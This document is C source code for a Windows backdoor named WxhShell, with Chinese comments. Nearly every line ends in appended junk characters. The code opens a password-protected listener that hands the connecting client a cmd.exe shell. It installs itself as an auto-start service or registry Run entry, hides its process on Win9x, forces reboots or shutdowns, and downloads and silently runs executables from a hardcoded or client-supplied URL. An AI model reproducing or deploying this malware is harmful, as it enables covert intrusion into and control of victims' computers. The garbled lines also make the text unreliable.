    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 467"pqT  
    if(Boot(SHUTDOWN)) *9r(lmrfj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [zN*P$U]  
    else { tjRw bnT"  
    closesocket(wsh); K)    
    ExitThread(0); +`gU{e,p  
    } 6M7GPHah  
    break; ?+7~ E8  
    } H $Az,-P  
  // 获取shell j0+D99{R  
  case 's': { KzV|::S^  
    CmdShell(wsh); aW dI  
    closesocket(wsh); >SvS(N{  
    ExitThread(0); h%u!UHA  
    break; B,_K mHItd  
  } C}<e3BXc  
  // 退出 `lOW7Z}  
  case 'x': { 5lD`qY  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <)a$5"AP  
    CloseIt(wsh); ~= c 5q  
    break; hy;V~J#  
    } klAlS%  
  // 离开 oKGF'y?A>  
  case 'q': { 6c(b*o  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ZDzG8E0Sq  
    closesocket(wsh); R'tvF$3=i  
    WSACleanup(); |,`"Omb9+m  
    exit(1); (?'vT %  
    break; 0iM'),v[]  
        } x?B`p"ifS  
  } ~a2|W|?  
  } `a[fC9  
TAOsg0  
  // 提示信息 MHt ~ZVH  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .p=J_%K}0x  
} l x5.50mI  
  } _~yd  
lY@2$q9BT  
  return; JBHPI@Qt%  
} &$2d=q8mh  
@N<h`vDa  
// shell模块句柄 ?MSwr_eZH  
int CmdShell(SOCKET sock) 'lpCwH  
{ 4noy!h  
STARTUPINFO si; ,d lq2  
ZeroMemory(&si,sizeof(si)); QX}JQ<8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; YW~ 9N  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; o[eZ"}~  
PROCESS_INFORMATION ProcessInfo; L1G)/Vkw  
char cmdline[]="cmd"; PU%f`)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?5B?P:=kl  
  return 0; M~`^deU1  
} J[uH@3v  
u.n'dF-  
// 自身启动模式 +Tx_q1/f5X  
int StartFromService(void) *fj]L?,  
{ x%ccNP0  
typedef struct U}Puq5[ ?  
{ CGK]i. N  
  DWORD ExitStatus; SvkCx>6/G  
  DWORD PebBaseAddress; <2<2[F5Q%  
  DWORD AffinityMask; &M3KJ I0L  
  DWORD BasePriority; a @3s71  
  ULONG UniqueProcessId; Y d~J(  
  ULONG InheritedFromUniqueProcessId; ! N!pvK;  
}   PROCESS_BASIC_INFORMATION; ':tdb$h  
hP.Km%C)0n  
PROCNTQSIP NtQueryInformationProcess; \JR^uJ{Y  
!'[?cEog  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; P{n*X  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; gxUa -R  
OR $i,N|  
  HANDLE             hProcess; ]2|fc5G'  
  PROCESS_BASIC_INFORMATION pbi; \k"CtzoX  
t54?<-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); I][&*V1  
  if(NULL == hInst ) return 0; Np$&8v+en  
eGpKoq7a  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Y}2Sr-@u  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `[}X_d 1A  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); zAklS 7L  
#XqCz>Z  
  if (!NtQueryInformationProcess) return 0; ]i0=3H2  
xqY'-Hom  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); B@dCCKc%/  
  if(!hProcess) return 0; /|}yf/^9X  
/5L\:eX%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &!WRa@x0I  
]&D= *:c  
  CloseHandle(hProcess); 3}mg7KV&  
f.aa@>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); j%bC9UkE3  
if(hProcess==NULL) return 0; j[w=pF,o  
f##/-NG  
HMODULE hMod; [Y, L=p  
char procName[255]; 52#6uBe  
unsigned long cbNeeded; }#4Ek8nFR  
J#i7'9g  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]e"!ZR?XJ  
5=#d#dDc  
  CloseHandle(hProcess); oUN\tOiS+  
P3 =#<Q.  
if(strstr(procName,"services")) return 1; // 以服务启动 !plu;w  
mDbTOtD  
  return 0; // 注册表启动 }KIS_krs  
} MVvBd3  
&s?uMWR  
// 主模块 F$'u`  
int StartWxhshell(LPSTR lpCmdLine) O j:I @c  
{ Lq;iR  
  SOCKET wsl; .{`C>/"}  
BOOL val=TRUE; U{pg y#/  
  int port=0; ]a~sJz!  
  struct sockaddr_in door; &zEBfr  
9Sd?,z  
  if(wscfg.ws_autoins) Install(); tAJ}36 aG  
4`:POu&  
port=atoi(lpCmdLine); |_8l9rB5ip  
qs bo"29  
if(port<=0) port=wscfg.ws_port; Mb\(52`)Q  
em0Y'J  
  WSADATA data; 0hGmOUO  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; iZeq l1O  
dlCYdwP  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   SN L-6]j  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); hf2bM `d  
  door.sin_family = AF_INET; 4\v &8">LL  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); BU??}{  
  door.sin_port = htons(port); DQXcf*R  
Xz)F-C27h  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { JJbd h \  
closesocket(wsl); Q25VG5 G  
return 1; q jc4IW t~  
} w"dKOdY  
GCO: !,1  
  if(listen(wsl,2) == INVALID_SOCKET) { 7[qL~BT+  
closesocket(wsl); j_<!y(W  
return 1; ]|,}hsN  
} R*lq7n9  
  Wxhshell(wsl); YMK ![ q-  
  WSACleanup(); Fih pp<  
3Xd:LDZ{  
return 0; +BL46 Bq  
<Oh i+a%6  
} _]4 p51r0  
! {G0'   
// 以NT服务方式启动 vMEN14;yH_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) u|Mx}  
{ -mRgB"8  
DWORD   status = 0; -q{N1? tcy  
  DWORD   specificError = 0xfffffff; lbIPtu  
o#f"wQH;p  
  serviceStatus.dwServiceType     = SERVICE_WIN32; jLVD37 P^  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; QNU~G3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =VuSi(d;e{  
  serviceStatus.dwWin32ExitCode     = 0; 3lpxh_  
  serviceStatus.dwServiceSpecificExitCode = 0; /R=MX>JA;  
  serviceStatus.dwCheckPoint       = 0; W>d)(  
  serviceStatus.dwWaitHint       = 0; Q9O_>mZy  
~,1Sw7 rE  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4l %W]'  
  if (hServiceStatusHandle==0) return; \b(&-=(  
T pF [-fO  
status = GetLastError(); d:K\W[$Bz  
  if (status!=NO_ERROR) ;j1E6  
{ iUR ij@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Ri"hU/H{  
    serviceStatus.dwCheckPoint       = 0; ur'<8pDb$  
    serviceStatus.dwWaitHint       = 0; fuUtM_11  
    serviceStatus.dwWin32ExitCode     = status; naf ~#==vc  
    serviceStatus.dwServiceSpecificExitCode = specificError; HBE[q#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); # lvt4a"P"  
    return; >iOf3I-ATt  
  }  MYy58N  
NC-K`)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7<WS@-2I#  
  serviceStatus.dwCheckPoint       = 0; \M\7k5$  
  serviceStatus.dwWaitHint       = 0; ")uKDq  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~ `qWE u  
} {j>a_]dTVX  
!mUJ["#  
// 处理NT服务事件,比如:启动、停止 <5z!0m-G  
VOID WINAPI NTServiceHandler(DWORD fdwControl) wX]$xZ!s  
{ e3;D1@  
switch(fdwControl) Q NMZR  
{ kMch   
case SERVICE_CONTROL_STOP: BkXv4|UE  
  serviceStatus.dwWin32ExitCode = 0; 4DCh+|r  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; z f SE7i0  
  serviceStatus.dwCheckPoint   = 0; X<;.  
  serviceStatus.dwWaitHint     = 0; ~-7/9$ay5  
  { G:$kGzhJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C 6 \  
  } ,6g{-r-2  
  return; 'M"z3j]m-,  
case SERVICE_CONTROL_PAUSE: a4^hC[a  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; T/P\j0hR  
  break; <7J3tn B  
case SERVICE_CONTROL_CONTINUE: x7zc3%T's  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #2_FM!e  
  break; u$%C`v>  
case SERVICE_CONTROL_INTERROGATE: [y`G p#  
  break; jJiuq#;T3  
}; Ln,<|,fZN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ; D<k  
} ]w6 F%d  
pwfQqPC#_  
// 标准应用程序主函数 l.pxDMY  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5 [~HL_u;,  
{ GCN-T1HvA2  
z]8Mv(eL  
// 获取操作系统版本 Q*#Lr4cm{  
OsIsNt=GetOsVer(); {"Sv~L|J;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ek]JzD~w$  
\2y/:  
  // 从命令行安装 -"nkC  
  if(strpbrk(lpCmdLine,"iI")) Install(); Fw&ImRMk  
G^d3$7  
  // 下载执行文件 8`+=~S  
if(wscfg.ws_downexe) { _)5E=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) im &N &A  
  WinExec(wscfg.ws_filenam,SW_HIDE); QHO n?e  
} /W,hOv  
; j.d  
if(!OsIsNt) { 5"nq h}5  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~Re4zU  
HideProc(); ^x O](,H  
StartWxhshell(lpCmdLine); A` _dj}UF  
} NHyUHFY  
else g$GGo[_0  
  if(StartFromService()) 8+w*,Ry`  
  // 以服务方式启动 Nxe1^F33  
  StartServiceCtrlDispatcher(DispatchTable); MS""-zn<  
else =p.avAuSn  
  // 普通方式启动 FVl, ttW  
  StartWxhshell(lpCmdLine); f=V`Nn<=A  
N KgEs   
return 0; 3<<wHK;)  
} RQWUO^&e^  
XdDQ$'*X  
]vB^%  
_+P*XY5  
=========================================== T rh t2Iv  
MVzj7~+  
7Z:3xb&>   
l opl  
i 7T#WfF  
p' ^}J$  
" !NNPg?Y  
7Fpa%N/WL  
#include <stdio.h> "JmbYb#Z  
#include <string.h> gNxv.6Pp=  
#include <windows.h> Q (N'Oj:J  
#include <winsock2.h> W (TTsnnx  
#include <winsvc.h> +&"W:Le:  
#include <urlmon.h> A4l"^dZc  
2u_=i$xW  
#pragma comment (lib, "Ws2_32.lib") $I-iq @  
#pragma comment (lib, "urlmon.lib") Mfz(%F|<  
wH@< 0lw`<  
#define MAX_USER   100 // 最大客户端连接数 GB `n  
#define BUF_SOCK   200 // sock buffer Bi fI.2|  
#define KEY_BUFF   255 // 输入 buffer 0e"KdsA:<U  
(421$w,B%  
#define REBOOT     0   // 重启 o"RE4s\G~r  
#define SHUTDOWN   1   // 关机 o/ \o -kC}  
J%ws-A?6rN  
#define DEF_PORT   5000 // 监听端口 @.cord`  
1*9Yy~w  
#define REG_LEN     16   // 注册表键长度 QP<P,Bi~  
#define SVC_LEN     80   // NT服务名长度 n3J,`1*ct  
:W&kl UU"  
// 从dll定义API 24InwR|^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); o>]w76A^(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /:A239=+?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0j;|IU\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Brg0:5H   
i)@vHh82  
// wxhshell配置信息 )I<VH +6  
struct WSCFG { WR.7%U';  
  int ws_port;         // 监听端口 4mBM5Tv  
  char ws_passstr[REG_LEN]; // 口令 $?: -A  
  int ws_autoins;       // 安装标记, 1=yes 0=no BI#(L={5  
  char ws_regname[REG_LEN]; // 注册表键名 4b yh,t  
  char ws_svcname[REG_LEN]; // 服务名 *X|%H-Q:H`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 q{,yas7}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +W>tdxOh  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Q(8W5Fb?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no mMhe,8E&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &#q%#M:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Z#%77!3  
&@7|_60  
}; 0\$Lnwp_  
YRl4?}r2  
// default Wxhshell configuration 8^-g yx'  
struct WSCFG wscfg={DEF_PORT, NVC$8imip  
    "xuhuanlingzhe", mOjl0n[To]  
    1, CA"`7<,  
    "Wxhshell", ^eYJ7&t  
    "Wxhshell", BYS>"  
            "WxhShell Service", 1^;&?E  
    "Wrsky Windows CmdShell Service", )^^}!U#|e  
    "Please Input Your Password: ", 6d 8n1_  
  1, L?y,xA_  
  "http://www.wrsky.com/wxhshell.exe", T?5F0WKi  
  "Wxhshell.exe" -H_7GVSnl  
    }; } % |GV  
DNM~/Oo  
// 消息定义模块 ]@1ncn7N  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Xg"Mjmr  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `Sj8<O}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; w@f_TG"Vt  
char *msg_ws_ext="\n\rExit."; %^ E>~  
char *msg_ws_end="\n\rQuit."; aR;Q^YJ+a  
char *msg_ws_boot="\n\rReboot..."; Ki@8  
char *msg_ws_poff="\n\rShutdown..."; ]7"mt2Q=3  
char *msg_ws_down="\n\rSave to "; V'?nS&,i  
1-gX=8]]  
char *msg_ws_err="\n\rErr!"; 8i"{GGVC  
char *msg_ws_ok="\n\rOK!"; 7~`6~qg.  
`Op ";E88  
char ExeFile[MAX_PATH]; ')FNudsC  
int nUser = 0; IWpUbD|kC  
HANDLE handles[MAX_USER]; z KWi9  
int OsIsNt; r*3XM{bZ/@  
|s`q+ U-  
SERVICE_STATUS       serviceStatus; +Q_Gm3^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,|c_l)  
? 8!N{NV  
// 函数声明 wy&*6>.  
int Install(void); u/f&Wq/  
int Uninstall(void); 68*{Lo?U  
int DownloadFile(char *sURL, SOCKET wsh); v2'J L(=  
int Boot(int flag); c"ztrKQQ  
void HideProc(void); !)=o,sVA  
int GetOsVer(void); O~el2   
int Wxhshell(SOCKET wsl); Vvj]2V3  
void TalkWithClient(void *cs); Izu.I_$4  
int CmdShell(SOCKET sock); @El<"\  
int StartFromService(void); %"zJsYQ!  
int StartWxhshell(LPSTR lpCmdLine); i`$rzXcS  
 P+0xi  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [Bo$?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Hi9z<l=$  
|Y11sDa9h  
// 数据结构和表定义 :N}KScS|Wa  
SERVICE_TABLE_ENTRY DispatchTable[] = N3<Jh  
{ b3lpNJ J  
{wscfg.ws_svcname, NTServiceMain}, P1n@E*~V5  
{NULL, NULL} MavO`m&Cg  
}; }q W aE  
8B/9{8  
// 自我安装 3~ZVAg[c  
int Install(void) C 5 UDez  
{ :\_MA^<  
  char svExeFile[MAX_PATH]; ~*Qpv&y)  
  HKEY key; bobkT|s^s  
  strcpy(svExeFile,ExeFile); Yur)_m  
Zd ,=  
// 如果是win9x系统,修改注册表设为自启动 K3DJ"NJ<Ji  
if(!OsIsNt) { 5i#w:O\cz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _ZBR<{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6~W E#z_  
  RegCloseKey(key); q&T'x> /  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |"w<CK lQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UE w3AO  
  RegCloseKey(key); 79g>7<vp  
  return 0;  q)+ n2FM  
    } P'9io!Z-s  
  } 7,UFIHq  
} 4 GW[GT  
else { Eo&qc 17)`  
}F6b ]  
// 如果是NT以上系统,安装为系统服务 $ n[7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); PM!t"[@&  
if (schSCManager!=0) v:1Vli.  
{ .WyX/E$I^!  
  SC_HANDLE schService = CreateService 4^_Au^8R(  
  ( 5G;^OI!g  
  schSCManager, 8k?L{hF|nW  
  wscfg.ws_svcname, xGv,%'u\  
  wscfg.ws_svcdisp, Ia:puks=  
  SERVICE_ALL_ACCESS, yc=#Jn?S  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @k6}4O?{  
  SERVICE_AUTO_START, f ?zK "  
  SERVICE_ERROR_NORMAL, DeQ'U!?+N  
  svExeFile, oHd0 <TO  
  NULL, C+m^Z[  
  NULL, E/$@ud|l"  
  NULL, ^i)Q CDU7  
  NULL, N%|Vzc  
  NULL JD`;,Md  
  ); _XNR um4  
  if (schService!=0) 8!Mzr1:  
  { nk$V{(FJ  
  CloseServiceHandle(schService); ieRBD6_  
  CloseServiceHandle(schSCManager); bTy)0ta>AF  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); X8n/XG~_  
  strcat(svExeFile,wscfg.ws_svcname); Yk@s"qm3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { AnE_<sPA  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;6 6_G Sjz  
  RegCloseKey(key); ^ O Xr: P  
  return 0; )LrCoI =|  
    } P9mxY*K)%5  
  } #0<y0uJ(y  
  CloseServiceHandle(schSCManager); n.6 0$kR`  
} K-k.=6mS  
} r,@X>_}  
E(3+o\w  
return 1; s]<r  
} lJ]\  
?"<r9S|[O  
// 自我卸载 -1r & s  
int Uninstall(void) g6/N\[b%  
{ SAE '?_  
  HKEY key; pM'IQ3N  
V_A,d8=lt  
if(!OsIsNt) { H^PqYLj N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CBnouKc:  
  RegDeleteValue(key,wscfg.ws_regname); U>_\  
  RegCloseKey(key); )\D40,p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E%\7Uo-  
  RegDeleteValue(key,wscfg.ws_regname); r {B,uj"  
  RegCloseKey(key); & kjwIg{  
  return 0; Fx[A8G  
  } & A9A#It  
} 1S[5#ewB;j  
} #u<o EDQ  
else { 'f?&EsIV?  
FH`'1iVH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); M$]O=2h+2  
if (schSCManager!=0) ss0'GfP  
{ `k}l$ih`X  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); C/CfjRzd  
  if (schService!=0) ,JQxs7@2k  
  { ~ S?-{X+  
  if(DeleteService(schService)!=0) { @ Zgl>  
  CloseServiceHandle(schService); _D2bGZN  
  CloseServiceHandle(schSCManager); B/sBYVU  
  return 0; mj(&`HRs4  
  } T$8@2[  
  CloseServiceHandle(schService); eb.cq"C  
  } x'@32gv  
  CloseServiceHandle(schSCManager); InPy:}  
} VTJIaqw  
} aZawBU.:  
N,/BudF o  
return 1; C'8!cPFVv  
} s=nVoc{Yt  
0E?s>-b  
// 从指定url下载文件 +-H}s`  
int DownloadFile(char *sURL, SOCKET wsh) q?imE~&U  
{ w*<Y$hnBzF  
  HRESULT hr; q6C6PPc  
char seps[]= "/"; {*?sVAvj  
char *token; lJ:M^.Em0  
char *file; ^nHB1"OCV  
char myURL[MAX_PATH]; c7+Djqs  
char myFILE[MAX_PATH]; q:Y6fbt<7  
mFqSD  
strcpy(myURL,sURL); yHWi [7$  
  token=strtok(myURL,seps); _e?q4>B)c  
  while(token!=NULL) #cj\~T.,,  
  { }A4nJ>`tq  
    file=token; mVv\bl?<  
  token=strtok(NULL,seps); \Y!T>nWn)I  
  } N+CXOI=6x  
[F/^J|VMV  
GetCurrentDirectory(MAX_PATH,myFILE); %s$rP  
strcat(myFILE, "\\"); <`R|a *  
strcat(myFILE, file); ~9JW#HHzn  
  send(wsh,myFILE,strlen(myFILE),0); V&Xi> X8  
send(wsh,"...",3,0); Fw_ (q!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Yz&*PPx  
  if(hr==S_OK) Aautih@LX  
return 0; `y\*m]:  
else @gt)P4yE  
return 1; Xh.+pJl,*  
V#ndyUM;  
} uP{; *E3?  
DE*MdfP0  
// 系统电源模块 )!'n&UxPo$  
int Boot(int flag) T)WZ_bR  
{ "| K f'/r  
  HANDLE hToken; v~ ^ks{  
  TOKEN_PRIVILEGES tkp; &EAk z  
%ZujCZn  
  if(OsIsNt) { rkxW UDl   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Wgxn`6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); I"Q#IvNw  
    tkp.PrivilegeCount = 1; a @6^8B?w;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; oi7 3YOB  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 'oleB_B  
if(flag==REBOOT) { ?VFM ]hO  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3c c1EQ9  
  return 0;  X ?tj$  
} \r)%R5_CQ  
else { hP?7zz$*j  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) l iw,O 6  
  return 0; mO#I nTO  
} >&bv\R/  
  } ($c`s8mp  
  else { `SCy<w3$+[  
if(flag==REBOOT) { xN6>2e  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) EPc!p>  
  return 0; Z.!g9fi8>  
} @gNpJB]V  
else { E]NY (1  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Z;hyi'rPJ  
  return 0; aiYo8+{!#  
} Q~phGD3!~  
} sF y]+DB  
@8|Gh]\P  
return 1; 'GkvUrD9D$  
} [eyb7\#   
L/BHexOB  
// win9x进程隐藏模块 ;d4 y{  
void HideProc(void) Vc|NL^  
{ /9pbnzn  
l8^y]M  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); H<,bq*@  
  if ( hKernel != NULL ) ha5e(Hj?  
  { pajy#0 U  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8 }-7{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); u#FXW_-TK  
    FreeLibrary(hKernel); (k8Z=/N~  
  } ijF V<P  
6GzzG P^  
return; _lP4}9p  
}  DwXU  
gKWzFnW  
// 获取操作系统版本 iT.|vr1HG  
int GetOsVer(void) dMJ!>l>2  
{ 80}4/8  
  OSVERSIONINFO winfo; ~T02._E  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Lyr2(^#:  
  GetVersionEx(&winfo); -D#5o,]3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Aq"PG}Ic  
  return 1; 9 ZGV%Tw  
  else +*C^:^jA  
  return 0; vL$|9|W(  
} B'p5M.6d#:  
)Oievu_"|  
// 客户端句柄模块 MtUY?O.P2  
int Wxhshell(SOCKET wsl) ~ M*gsW$  
{ j=W@P-  
  SOCKET wsh; c4 5?St  
  struct sockaddr_in client; @+&'%1  
  DWORD myID; o8{<qn|  
+i=p5d5  
  while(nUser<MAX_USER) g/#~N~&  
{ JT)k  
  int nSize=sizeof(client); K2HvI7$-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); u s`}  
  if(wsh==INVALID_SOCKET) return 1; BI.V0@qZ  
TEWAZVE*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <HF-2?`  
if(handles[nUser]==0) lsY `c"NW>  
  closesocket(wsh); _2OuskL  
else O>AFF@=  
  nUser++; Ea]T>4  
  }  F\LsI;G  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); x: ~d@  
y(v_-6b  
  return 0; @9vvR7{P  
} !M(:U,?B  
j#3m|dQ  
// 关闭 socket PN &|8_  
void CloseIt(SOCKET wsh) "PzP; Br  
{ 4SR(->@  
closesocket(wsh); _|<BF  
nUser--; ]"sRS`0+  
ExitThread(0); o&$hYy"<.L  
} 5UO k)rOf  
)gXTRkmw  
// 客户端请求句柄 yM ,VrUh  
void TalkWithClient(void *cs) Hku=pr3Gn  
{ ^ ulps**e  
G{o+R]Us  
  SOCKET wsh=(SOCKET)cs; wmYvD<  
  char pwd[SVC_LEN]; 1[DS'S  
  char cmd[KEY_BUFF]; "2;N2=~7  
char chr[1]; /9_#U#vhY  
int i,j;  $Nu)E  
5pJ*1pfeo  
  while (nUser < MAX_USER) { l^r' $;<m  
IN^_BKQt  
if(wscfg.ws_passstr) { "'A"U  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r1Z<:}ZwK  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tcA;#^jc  
  //ZeroMemory(pwd,KEY_BUFF); 8=Q V N_  
      i=0; }-p,iTm  
  while(i<SVC_LEN) { kCA5|u  
7Fl-(Nv`  
  // 设置超时 p)/ p!d[T/  
  fd_set FdRead; 1TRN~#ix  
  struct timeval TimeOut; >IY,be6>P  
  FD_ZERO(&FdRead); 254~:eB0  
  FD_SET(wsh,&FdRead); <*Y'lV  
  TimeOut.tv_sec=8; K"l0w**Og#  
  TimeOut.tv_usec=0; R2LK.bTVn  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %-j&e44  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); If'2rE7J  
Ro r2qDF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mP-2s;q  
  pwd=chr[0]; %;O}FyP  
  if(chr[0]==0xd || chr[0]==0xa) { A1A3~9HuK  
  pwd=0; cOku1 g8  
  break; <LA^%2jT  
  } (~()RkT  
  i++; 9$ O@`P\  
    } tt4+m>/T  
{$fsS&aPg  
  // 如果是非法用户,关闭 socket 9;KJr[FQV  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?63&g{vA  
} K{b-TT 4  
R]Qp Mj%o  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); j>'B [  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y\?j0X;  
_e'Y3:  
while(1) { f\K#>u* Q  
o4)hxs  
  ZeroMemory(cmd,KEY_BUFF); J70D+  
e|'N(D}h*  
      // 自动支持客户端 telnet标准   }*kJ-q&0  
  j=0; z[&s5"  
  while(j<KEY_BUFF) { vWY(%Q,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X\sm[_I  
  cmd[j]=chr[0]; 'IQsve7cI  
  if(chr[0]==0xa || chr[0]==0xd) { 97!5Q~I  
  cmd[j]=0; R^P_{_I*"  
  break; -(;LQDG |  
  } t(?<#KUB-  
  j++; 59!)j>f  
    } .JAcPyK^  
/f3m)pT  
  // 下载文件 H_B~P%E@]  
  if(strstr(cmd,"http://")) { vA-PR&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); BaL]mIx  
  if(DownloadFile(cmd,wsh)) ((MLM3zJ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); DQgH_!  
  else  5$Kf]ZP  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y1C/v:;  
  } N@1p]\  
